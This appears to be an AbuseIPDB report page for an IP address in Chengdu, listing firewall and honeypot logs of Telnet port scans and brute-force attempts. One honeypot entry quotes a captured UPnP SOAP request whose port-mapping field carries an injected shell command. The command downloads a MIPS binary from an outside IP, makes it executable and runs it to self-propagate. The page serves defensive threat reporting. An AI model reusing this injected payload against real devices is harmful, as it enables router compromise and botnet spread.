JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 221.236.22.252

221.236.22.252 was found in our database!

This IP was reported 45 times. Confidence of Abuse is 86%: ?

86%

ISP	CHINANET Sichuan province network
Usage Type	Data Center/Web Hosting/Transit
ASN	AS38283
Hostname(s)	252.22.236.221.broad.cd.sc.dynamic.163data.com.cn
Domain Name	chinatelecom.cn
Country	🇨🇳 China
City	Chengdu, Sichuan

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 221.236.22.252

Whois 221.236.22.252

IP Abuse Reports for 221.236.22.252:

This IP address has been reported a total of 45 times from 37 distinct sources. 221.236.22.252 was first reported on June 16th 2026, and the most recent report was 3 weeks ago.

Old Reports: The most recent abuse report for this IP address is from 3 weeks ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇮🇱 spd.co.il	2026-06-18 23:02:04 (3 weeks ago)	Unauthorized access attempts on ports: 23	Brute-Force
🇦🇹 urnilxfgbez	2026-06-17 22:45:00 (3 weeks ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇩🇪 Da_tschek	2026-06-17 19:00:32 (3 weeks ago)	Port scanning	Port Scan Hacking
🇺🇸 xmission.com	2026-06-17 06:16:39 (3 weeks ago)	Blocked by UFW (TCP on 23) Source port: 38279 TTL: 44 Packet length: 44 TOS: 0x00 This report (for ... show more Blocked by UFW (TCP on 23) Source port: 38279 TTL: 44 Packet length: 44 TOS: 0x00 This report (for 221.236.22.252) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
🇫🇮 6kilowatti	2026-06-17 06:03:37 (3 weeks ago)	2026-06-17T09:03:37.152238+03:00 mummo kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:d6:a5:bc:00: ... show more 2026-06-17T09:03:37.152238+03:00 mummo kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:d6:a5:bc:00:00:5e:00:01:58:08:00 SRC=221.236.22.252 DST=83.148.240.21 LEN=44 TOS=0x00 PREC=0x00 TTL=42 ID=41969 PROTO=TCP SPT=39767 DPT=23 WINDOW=29978 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇺🇸 RAP	2026-06-17 05:47:22 (3 weeks ago)	2026-06-17 05:47:22 UTC Unauthorized activity to TCP port 2323. Telnet	Port Scan
🇬🇧 gbzret4d	2026-06-17 05:45:57 (3 weeks ago)	Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (co ... show more Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Accept: / Accept-Encoding: gzip, deflate POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf zuki; wget http://109.104.153.60/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP show less	Hacking Bad Web Bot
🇩🇪 zupan	2026-06-17 05:28:19 (3 weeks ago)	Blocked by UFW on vps [23/tcp] \| SPT: 40792 \| TTL: 42 \| LEN: 44 \| TOS: 0x00 • Reported by: github.co ... show more Blocked by UFW on vps [23/tcp] \| SPT: 40792 \| TTL: 42 \| LEN: 44 \| TOS: 0x00 • Reported by: github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan IoT Targeted
🇧🇬 geddo.in	2026-06-17 05:00:40 (3 weeks ago)	Jun 16 22:57:33 mortgagebase xinetd[1875]: START: telnet pid=9631 from=::ffff:221.236.22.252 Jun 16 ... show more Jun 16 22:57:33 mortgagebase xinetd[1875]: START: telnet pid=9631 from=::ffff:221.236.22.252 Jun 16 22:58:35 mortgagebase xinetd[1875]: START: telnet pid=9642 from=::ffff:221.236.22.252 Jun 16 22:59:37 mortgagebase xinetd[1875]: START: telnet pid=9650 from=::ffff:221.236.22.252 Jun 16 23:00:39 mortgagebase xinetd[1875]: START: telnet pid=9665 from=::ffff:221.236.22.252 ... show less	Brute-Force
🇦🇹 centurion	2026-06-17 04:43:16 (3 weeks ago)	Blocked by UFW on ns03 [23/tcp] Source port: 39027 TTL: 42 Packet length: 44 TOS: 0x00 This report ... show more Blocked by UFW on ns03 [23/tcp] Source port: 39027 TTL: 42 Packet length: 44 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
🇭🇰 mutebot.net	2026-06-17 03:30:15 (3 weeks ago)	SRC=221.236.22.252, PROTO=TCP, SPT=39978, DPT=23	Port Scan
🇨🇭 TOCE	2026-06-17 03:07:11 (3 weeks ago)	124 hits seen on 2026-06-17, ports 23 (Telnet) on a honeypot from www.toce.ch	Brute-Force
🇩🇪 genokrad	2026-06-17 01:59:30 (3 weeks ago)	Unauthorized connection attempt on TCP/23 (Telnet)	Port Scan
🇦🇺 PetePK	2026-06-17 01:59:03 (3 weeks ago)	Probed 1 time(s): TCP/23	Port Scan
🇺🇸 RAP	2026-06-17 01:44:30 (3 weeks ago)	2026-06-17 01:44:30 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan

Showing 1 to 15 of 45 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 202.105.98.252

🇵🇱 176.53.159.198

🇵🇰 153.117.14.75

🇷🇴 151.242.30.165

🇸🇬 149.34.253.149

🇫🇮 147.185.133.11

🇮🇳 117.206.235.117

🇲🇾 47.250.91.27

🇵🇸 213.6.72.202

🇧🇩 157.119.184.41

🇳🇱 153.92.127.54

🇭🇰 152.32.213.13

🇬🇧 139.59.183.60

🇨🇳 125.124.226.217

🇭🇰 104.208.108.166

🇻🇳 103.78.1.33

🇷🇴 80.94.92.179

🇺🇸 45.86.211.67

🇶🇦 34.153.64.19

🇻🇳 27.79.2.54